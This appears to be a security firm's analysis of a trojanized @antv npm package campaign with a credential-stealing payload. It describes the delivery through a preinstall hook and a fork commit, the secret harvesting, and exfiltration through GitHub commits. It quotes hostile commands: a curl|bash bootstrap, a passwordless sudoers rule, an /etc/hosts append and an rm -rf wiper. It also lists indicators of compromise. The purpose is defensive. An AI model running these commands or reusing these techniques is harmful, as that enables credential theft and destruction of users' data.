Not-So-Mini Shai-Hulud Hits the @antv Ecosystem
Executive Summary
This morning, Ossprey Security detected nine trojanized packages immediately on publication to the npm registry, flagging each as malicious with 1-3 minutes of release. The affected versions span the Alibaba AntV data-visualization ecosystem: @antv/scale@0.6.2, @antv/g-canvas@2.3.0, @antv/path-util@3.1.1, @antv/g@6.4.1, @antv/g-svg@2.2.1, @antv/g-lite@2.8.0, @antv/vendor@1.1.11, @antv/g2-extension-plot@0.3.2, and @antv/l7-layers@2.26.10. All nine were published by the compromised npm account atool in an automated burst alongside 628 other malicious versions across the broader AntV and related package set. Combined monthly downloads exceed 8 million. Each version adds a preinstall: bun run index.js lifecycle hook that runs a byte-identical 498 KB obfuscated Bun/JavaScript credential stealer on every npm install.
The payload sweeps the local filesystem and environment for 20-plus categories of secrets: AWS access keys, GitHub tokens, npm tokens, HashiCorp Vault tokens, Kubernetes service-account tokens, SSH keys, database DSNs, and desktop password manager contents. It encrypts the harvest and exfiltrates it via the GitHub REST API by committing to attacker-controlled repositories.
Secondary capabilities include Docker-socket container escape, sudoers privilege escalation, hosts-file poisoning, local project reinfection, and a wiper triggered on abort. Attribution to the threat actor tracked as TeamPCP is moderate confidence based on payload overlap and campaign mechanics documented across the broader Shai-Hulud incident timeline.
Technical Breakdown
Stage 0: Execution Trigger via Lifecycle Hook and Bun Bootstrap
We started by diffing the nine package.json files against their last-known-good versions. Each adds exactly two fields: a version bump and a preinstall script. The preinstall hook fires before any other lifecycle step and before any listed dependency is installed, giving the attacker code execution in the developer's or CI runner's environment with the full privileges of the npm process.
The hook body is bun run index.js. Bun is a fast JavaScript runtime with broad npm compatibility. The payload requires it specifically because the bundle uses Bun-native APIs (Bun.write, Bun.file, and worker threads). If Bun is not present, a bootstrap command decoded from the payload's string table installs it silently via curl | bash before proceeding. The 498 KB index.js sits in the package root alongside the legitimate library code, invisible to casual inspection of the dist/ or src/ directories that most developers skim.
Stage 1: Dual Delivery via Direct Hook and Ghosted GitHub Commit
Alongside the direct preinstall hook, every compromised package injects an optionalDependencies entry pointing to github:antvis/G2#1916faa365f2788b6e193514872d51a242876569. When npm resolves a github: dependency it fetches the commit by SHA, finds a package.json, and runs its lifecycle scripts. The commit message is New Package. It contains two files: a package.json declaring @antv/setup with a prepare script, and a 499 KB index.js carrying a re-obfuscated variant of the same Shai-Hulud payload.
The commit itself was never pushed directly to antvis/G2. It was created in a fork of the repository. GitHub uses git alternates to share object storage between a repository and its forks: any commit object reachable in a fork is also fetchable by SHA through the parent repository's namespace. This means npm's github:antvis/G2#<sha> resolution successfully retrieves the commit without any push event appearing in antvis/G2's own event log, with no pull request, and no modified branch. The exit 1 appended to the prepare script (bun run index.js && exit 1) suppresses downstream error propagation, preventing install failures that would alert the developer.
The imposter commit was pushed to the fork at approximately 01:25 UTC on 2026-05-19, roughly 19 minutes before the first malicious npm publish.
Stage 2: Payload Architecture, Two-Layer Obfuscation
We unpacked all nine index.js files and confirmed that their SHA256 hashes are identical (a68dd1e6a6e35ec3771e1f94fe796f55dfe65a2b94560516ff4ac189390dfa1c). The file is a single 498,431-byte line. The obfuscation uses two layers.
The outer layer is javascript-obfuscator's hex-variable pattern. All identifiers are replaced with _0x-prefixed hex values, and all string literals are stored in a 1,728-entry array (_0x5e03) accessed through a custom base64-plus-decodeURIComponent decoder function (_0x1169, aliased to _0x5d6bea). An IIFE at the start of the file rotates the array until a polynomial checksum matches the target value 0xa59af, making static extraction order-dependent.
The inner layer covers all operationally sensitive strings (environment variable names, file paths, API endpoints, and C2 addresses) behind a second encrypted decoder named fc2edea72. That function decrypts its arguments using a key derived via PBKDF2-SHA256 with 200,000 rounds from the seed string pause and the salt rVJy5cw/CHKeXjjBGCs89cFlrdWJ6guQV5k4oGet/X6vxg==, producing a 32-byte AES master key. We decoded the outer string table completely. The inner fc2edea72 strings remain ciphertext because the derived key, while recoverable, requires individual decryption of each of the 84 encrypted blobs.
Stage 3: Credential Scanner, Broad Regex Sweep of Filesystem and Environment
The main orchestrator function J2() instantiates a pipeline of scanner classes. Class ao is the file-system scanner. Its constructor passes a map of 18 compiled regular expressions to the parent class S, which applies them across each file it processes. The regex set is stored in plaintext in the compiled bundle, one of the few unencrypted artifacts in the payload. It covers nearly every common credential format a developer or CI runner might have on disk.
A second scanner class, Io, targets GitHub repository contents using a token passed to it by the orchestrator. It fetches the repository commit list and scans each blob for npm_* and gh[op]_* token patterns. The environment variable scanner (zo) reads 80-plus encrypted environment variable names via fc2edea72 calls and passes their values to the same regex battery. All matches are funneled through a batched dispatcher (Po) with a 100 KB flush threshold, which triggers exfiltration when the buffer fills.
Stage 4: Cloud and CI/CD Credential Harvesting
Cloud credential collection goes beyond static file scanning. We decoded the plaintext portions of the payload's string table and recovered the full set of HTTP endpoints and API call patterns used for live credential retrieval.
For AWS, the payload queries the IMDSv1 endpoint directly, issues a token request to the IMDSv2 endpoint, and calls AWS STS GetCallerIdentity to enumerate the active account ARN. It then iterates AWS regions (us-east-1, us-east-2, us-west-1, us-west-2, eu-west-1, eu-west-2, eu-west-3, eu-central-1, eu-north-1, ap-northeast-1, ap-northeast-2, ap-northeast-3, ap-southeast-1, ap-southeast-2, ap-south-1, sa-east-1, ca-central-1) calling SSM GetParameters and Secrets Manager ListSecrets / GetSecretValue.
For GitHub Actions, the payload reads GITHUB_TOKEN and related environment variables, attempts an OIDC token exchange via the npm registry, and scans runner process memory via /proc using a pipeline that extracts secrets matching the GitHub Actions internal isSecret: true format. It also detects whether the harden-runner GitHub Action from Step Security is active and adjusts behavior accordingly.
Stage 5: Exfiltration via GitHub API Commits
Harvested credentials are not sent to a traditional C2 endpoint. The payload uses a GitHubSender class (setupGitHubSender) that commits stolen data to attacker-controlled GitHub repositories using a GitHub token obtained earlier in the pipeline. The orchestrator function J2() resolves a token from the credential-collection results (Z2()), instantiates a lo (local GitHub sender) and a po (remote sender object configured with encrypted domain, port, and path fields), and routes the batch of harvested secrets through both channels.
The GitHub REST API path sequence is: create a blob (/repos/*/git/blobs), create a tree (/repos/*/git/trees), create a commit (/repos/*/git/commits), and update a ref (/repos/*/git/refs/heads/results-*). Batch size is capped at 100 KB (flushThresholdBytes: 0x19000 = 102,400 bytes) before flushing. Before committing, the payload serializes secrets, AES-GCM encrypts the payload, and base64-encodes the ciphertext for transmission as a blob. The sender also reads the .claude/settings.json and /contents/results/ paths via the GitHub Contents API, suggesting it checks for an existing results tree before writing.
Stage 6: Persistence, Privilege Escalation, and Wiper
After credential collection, the payload attempts to entrench itself and expand its reach. The persistence mechanism modifies package.json files discovered in the user's home directory by injecting additional preinstall hooks, propagating the infection to other local Node.js projects that the victim's account can reach.
Privilege escalation targets CI runners. The payload writes a passwordless sudoers rule (runner ALL=(ALL) NOPASSWD:ALL) to /etc/sudoers.d/ and sets the file mode to 0440. It also drops scripts into .claude/setup.mjs, .claude/settings.json, .vscode/setup.mjs, and .vscode/tasks.json, paths that are executed by Claude Code and VS Code on session start, providing persistent re-execution on developer machines.
A hosts-file poisoning routine appends 127.0.0.1 <target> entries to /etc/hosts via sudo sh -c "echo '...' >> /etc/hosts". Finally, a wiper string rm -rf ~/; rm -rf ~/Documents is executed on abort or detection, destroying the user's home directory and Documents folder to impede forensic analysis.
Attribution
Ossprey Security is confident to attribute this attack to the TeamPCP threat actor. The payload architecture, obfuscation family, campaign delivery pattern, and the @antv/setup optional-dependency vector match indicators independently attributed to TeamPCP by SafeDep, Socket Security, and The Hacker News across a documented sequence of incidents in 2025 and 2026. The direct publishing identity is the compromised atool npm account, which maintained 547 packages before the compromise. The mechanism by which that account was taken over is not publicly confirmed. Full attribution would require visibility into C2 infrastructure, which the payload protects behind two layers of symmetric encryption.
Response
Check
package-lock.json,yarn.lock, orpnpm-lock.yamlfor@antv/g@6.4.1,@antv/path-util@3.1.1, and@antv/scale@0.6.2. If any are present in environments with access to secrets, treat all reachable credentials as compromised.Rotate all secrets accessible from the affected build environment: npm publish tokens, GitHub PATs and Actions secrets, AWS access keys and IAM roles, HashiCorp Vault tokens, and any database or cloud provider credentials readable by the installing process.
Pin all
@antvscoped packages to the last known-good versions using exact pinning (@antv/g@6.4.0or earlier) and enable lockfile integrity verification in CI (--frozen-lockfilefor yarn/pnpm,npm cifor npm).Audit developer machines and CI runners for the following dropped artifacts:
~/.bun/bin/bun,~/.claude/setup.mjs,~/.claude/settings.json,~/.vscode/setup.mjs,~/.vscode/tasks.json. Remove any that were not placed intentionally.Check
/etc/sudoers.d/for unexpected passwordless sudo rules and/etc/hostsfor spurious127.0.0.1entries added since the install date.Block or alert on
npm installinvocations that spawncurlorbunprocesses within CI/CD pipelines. The bootstrap patterncurl -fsSL https://bun.sh/install | bashis a reliable detection signal.Disable or audit
optionalDependenciesresolution in your npm install workflow. Thegithub:owner/repo#shapattern for@antv/setupis a concrete indicator of the secondary delivery path.Verify the GitHub commit
antvis/G2#1916faa365f2788b6e193514872d51a242876569is not reachable from your environment and that no@antv/setuppackage was fetched and executed.
Indicators of Compromise
Network
https://bun.sh/install(Bun runtime bootstrap via curl | bash)github:antvis/G2#1916faa365f2788b6e193514872d51a242876569(imposter commit, secondary payload delivery)https://api.github.com/repos/(exfiltration via GitHub REST API commits toresults-*branches)https://registry.npmjs.org/-/npm/v1/tokens(npm token enumeration)https://registry.npmjs.org/-/whoami(npm identity check)http://169.254.169.254/latest/meta-data/iam/security-credentials/(AWS IMDS credential harvest)http://169.254.169.254/latest/api/token(AWS IMDSv2 token request)http://169.254.170.2(ECS container metadata endpoint)http://127.0.0.1:8200(HashiCorp Vault local default endpoint)http://vault.*(HashiCorp Vault hostname pattern)
Filesystem
~/.bun/bin/bun(Bun runtime dropped by bootstrap)~/.claude/setup.mjs(payload dropped for Claude Code execution)~/.claude/settings.json(Claude Code settings backdoor path)~/.claude/package/(payload staging directory)~/.vscode/setup.mjs(payload dropped for VS Code execution)~/.vscode/tasks.json(VS Code tasks backdoor path)/etc/sudoers.d/(sudoers escalation drop target)/var/run/docker.sock(Docker socket for container escape)/proc(Linux process memory scanning for runner secrets)
Credentials Targeted
~/.aws/credentials~/.npmrc~/.ssh/(SSH private keys via regex/ssh-(rsa|ed25519|dss) AAAA.../)~/.docker/config.json(Docker auth tokens)~/.kube/config(Kubernetes config)~/.vault-token,/etc/vault/token,/run/secrets/vault_token,/var/run/secrets/vault/token,/root/.vault-token,/home/runner/.vault-token/var/run/secrets/kubernetes.io/serviceaccount/token~/.envEnvironment variables:
GITHUB_TOKEN,GITHUB_WORKFLOW_REF(GitHub Actions OIDC),AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY,AWS_SESSION_TOKEN
Embedded Keys
PBKDF2 master key seed
pausewith saltrVJy5cw/CHKeXjjBGCs89cFlrdWJ6guQV5k4oGet/X6vxg==(AES-GCM key derivation for credential encryption before exfiltration)Derived AES-256 key
832bb2c62c660cc4da8ed0d19bdd3bce842d1aa29087d992e5cab1eeb3badddc(PBKDF2-SHA256, 200,000 rounds)Embedded hash
e0c5f3c4a4ec43c177d7eb06b4b4c28f(plaintext in payload string table, purpose unresolved)Embedded hash
cb6c29e35a82a21409de352d9cd6e02285098d49dcb89baed52d8af24fc0258a(plaintext in payload string table, purpose unresolved)
Hashes
sha256:a68dd1e6a6e35ec3771e1f94fe796f55dfe65a2b94560516ff4ac189390dfa1c(index.js, identical across all nine packages)
Affected Versions
Package | Version | Monthly Downloads |
|---|---|---|
|
| 2.2M |
|
| 1.25M |
|
| 1.1M |
|
| 1.0M |
|
| 975K |
|
| 883K |
|
| 751K |
|
| 547K |
|
| n/a |
MITRE ATT&CK
ID | Technique | Why it applies |
|---|---|---|
| Supply Chain Compromise: Compromise Software Dependencies and Development Tools | The |
| Command and Scripting Interpreter: JavaScript | A |
| Unsecured Credentials: Credentials In Files | Class |
| Escape to Host | The payload checks for |
| Exfiltration Over C2 Channel | Harvested credentials are AES-GCM encrypted and committed to attacker-controlled GitHub repositories via the GitHub REST API using blob/tree/commit/ref operations, with batched flushing at a 100 KB threshold. |
| Abuse Elevation Control Mechanism: Sudo and Sudo Caching | Decoded string at index [965] in the payload string table writes |
| Data Destruction | Decoded string at index [1367] in the payload string table executes |
A Note from Ossprey
If you want to protect your developer machines and CI/CD pipelines against emerging supply-chain threats like this one, visit ossprey.com.




